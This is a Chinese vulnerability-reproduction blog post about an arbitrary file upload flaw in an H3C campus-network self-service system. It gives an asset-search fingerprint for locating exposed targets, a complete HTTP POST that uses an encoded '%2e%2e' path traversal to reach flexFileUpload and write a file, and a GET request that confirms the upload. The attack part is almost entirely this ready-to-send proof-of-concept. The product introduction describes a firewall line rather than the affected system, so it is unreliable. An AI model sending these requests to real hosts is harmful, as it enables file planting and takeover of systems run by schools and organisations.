【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

admin 2024年3月4日17:22:52评论123 views字数 1276阅读4分15秒阅读模式

声明

该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

漏洞介绍

  H3C SecPath F50X0系列防火墙是新华三技术有限公司伴随Web2.0时代的到来并结合当前安全与网络深入融合的技术趋势,针对大型企业园区网、运营商和数据中心市场推出的全新下一代高性能万兆防火墙产品。

资产收集

header="/selfservice"

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

漏洞复现

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

构造请求包

POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=---------------WebKitFormBoundaryMmx988TUuintqO4QAccept-Encoding: gzipContent-Length: 243-----------------WebKitFormBoundaryMmx988TUuintqO4QContent-Disposition: form-data; name="123.txt"; filename="123.txt"Content-Type: application/octet-streamContent-Length: 2551111-----------------WebKitFormBoundaryMmx988TUuintqO4Q--

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

访问地址

GET /imc/primepush/%2e%2e/flex/topobg/123.txt HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Length: 4

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

原文始发于微信公众号(Devil安全):【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日17:22:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】H3C-校园网自助服务系统 flexfileupload 任意文件上传漏洞https://cn-sec.com/archives/2545001.html

发表评论

匿名网友 填写信息